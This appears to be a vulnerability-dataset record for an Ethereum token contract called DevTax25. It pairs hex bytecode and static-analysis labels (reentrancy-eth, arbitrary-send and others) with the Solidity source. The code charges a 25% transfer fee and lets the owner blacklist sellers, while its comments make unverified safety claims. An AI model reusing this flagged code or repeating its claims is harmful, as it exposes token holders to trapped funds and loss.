a952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138a85782600260006009848154811061368057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061376757508160036000600984815481106136ff57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561378557600a54683635c9adc5dea00000945094505050506138ef565b61380e600260006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461395b90919063ffffffff16565b9250613899600360006009848154811061382457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361395b90919063ffffffff16565b91508080600101915050613661565b506138c7683635c9adc5dea00000600a546128dd90919063ffffffff16565b8210156138e657600a54683635c9adc5dea000009350935050506138ef565b81819350935050505b9091565b60008060008060008060008060006139108a600c54600d54613c0c565b9250925092506000613920612b7e565b905060008060006139338e878787613ca2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061399d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b600080828401905083811015613a23576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a37612b7e565b90506000613a4e828461285790919063ffffffff16565b9050613aa281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613bcd57613b8983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139a590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613be782600a5461395b90919063ffffffff16565b600a81905550613c0281600b546139a590919063ffffffff16565b600b819055505050565b600080600080613c386064613c2a888a61285790919063ffffffff16565b6128dd90919063ffffffff16565b90506000613c626064613c54888b61285790919063ffffffff16565b6128dd90919063ffffffff16565b90506000613c8b82613c7d858c61395b90919063ffffffff16565b61395b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613cbb858961285790919063ffffffff16565b90506000613cd2868961285790919063ffffffff16565b90506000613ce9878961285790919063ffffffff16565b90506000613d1282613d04858761395b90919063ffffffff16565b61395b90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200170af096427876fbe5de6ff04b8a63ad328e28ffcd152232a441091a32c280864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,016 |
0x5832cf8c1721074b96a246f601aff3adc54bc81b
|
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
// SAFU CONTRACT. DEV TAX: 25%
// FEEL FREE TO CREATE A TG AND WEBSITE
// I HAND OVER THIS TO THE COMMUNITY
// LIQ LOCKED FOREVER
// CONTRACT RENOUNCED
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DevTax25 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DEVTAX25";
string private constant _symbol = "DEVTAX25";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f4445565441583235000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4445565441583235000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781